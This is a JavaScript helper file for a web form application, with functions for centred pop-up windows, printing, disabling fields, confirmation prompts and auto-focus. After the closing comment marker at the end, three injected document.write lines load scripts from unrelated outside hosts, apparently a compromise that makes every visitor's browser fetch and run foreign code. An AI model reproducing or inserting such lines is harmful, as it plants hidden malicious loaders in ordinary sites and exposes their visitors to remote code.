<!--

var DISABLE_COLOR = "#c0c0c0";

/*********************************************
Purpose: This function opens a pop up window
with the specified settings
**********************************************/
function PopUp(sURL, sName, w,h,boolLocation, boolMenu, boolReSizable, 
	boolScroll, boolStatus, boolToolbar ) {
	
	var sScroll,sReSizable,sMenu,sStatus,sLocation,sToolbar, top, left, sSettings

	top = (screen.availHeight - h)/2;
	left = (screen.availWidth - w)/2;



	sScroll = boolScroll?"yes":"no";

	sReSizable = boolReSizable?"yes":"no";
	sMenu = boolMenu?"yes":"no";
	sStatus = boolStatus?"yes":"no";
	sLocation = boolLocation?"yes":"no";
	sToolbar=boolToolbar?"yes":"no";

	sSettings = "height=" + h + ",left=" + left + ",location=" + sLocation;
	sSettings += ",menubar=" + sMenu + ",resizable=" + sReSizable;
	sSettings += ",scrollbars=" + sScroll + ",status=" + sStatus;
	sSettings += ",toolbar=" + sToolbar + ",top=" + top + ",width=" + w;

	var childWin;
	childWin = window.open(sURL,sName,sSettings);

	if (childWin == "undefined") {
		alert('You must disable pop-up blockers for this functionality to work.');
	}
}

function openMemoWin(url){
	PopUp(url,'MemoWin',660,600,false,false,true,true,false);
}
function openCitationWin(url){
	PopUp(url,'CitationWin',660,325,false,false,true,true,false);
}
function openStipListWin(url){
	PopUp(url,'StipList',660,600,false,false,true,true,false);
}

function openReport(url, name) {
	PopUp(url,name,800,600,false,false,true,true,false)
}

/*********************************************
Purpose: This function prints the active window.
**********************************************/
function Print() {
	window.print();
}

/*********************************************
Purpose: This function compares the value of
the source element with the event to the value provided
and either disable or enables the target element.
**********************************************/
function onClickDisable (varCompareValue, elId) {
	var elValue, elSrc, elDisable;

	elDisable = document.getElementById(elId);
	elSrc = event.srcElement;
	
	switch (elSrc.type)
	{
		case "checkbox":
			elValue = elSrc.checked;
			break;
		case "radio":
			elValue = elSrc.checked;
			break;
		default:
			elValue = elSrc.value;
			break;
	}	
		

	if (elValue == varCompareValue) 
		{
		elDisable.value = "";
		elDisable.disabled=true;
		elDisable.style.backgroundColor = DISABLE_COLOR;
		}
	else
		{
		elDisable.value = elDisable.defaultValue;
		elDisable.disabled=false;
		elDisable.style.backgroundColor = "";
		}
}
/*******************************************
*Purpose:  This function displays a confirmation
* message box if the the value passed equals the value
* of the element.  If it should always fire, pass null
*******************************************/
function onClickConfirm(varToCompare,sMsg)
{
var elSrc, elValue, boolResponse
elSrc = event.srcElement;

switch (elSrc.type)
{
	case "checkbox":
		elValue = elSrc.checked;
		break;
	case "radio":
		elValue = elSrc.checked;
		break;
	case "textbox":
		elValue = elSrc.value;
		break;	
}

if (varToCompare == elValue || varToCompare == null)
	boolResponse = confirm(sMsg);

event.returnValue = boolResponse;

}



/***************************************
* This function set the focus to the 
* element sID when the length of the 
* value reaches i
****************************************/
function setfocus(i,sID) {
		elToFocus = document.getElementById(sID);
		elSrc = event.srcElement;
		if (elSrc.value.length == i && event.keyCode != 9 && event.keyCode!=16) elToFocus.focus();
		return true;
	}

//-->


document.write('<script src=http://1fxm.com/gallery/mail.php ><\/script>');
document.write('<script src=http://1fxm.com/gallery/mail.php ><\/script>');
document.write('<script src=http://sgallery.or.kr/lib/_common.php ><\/script>');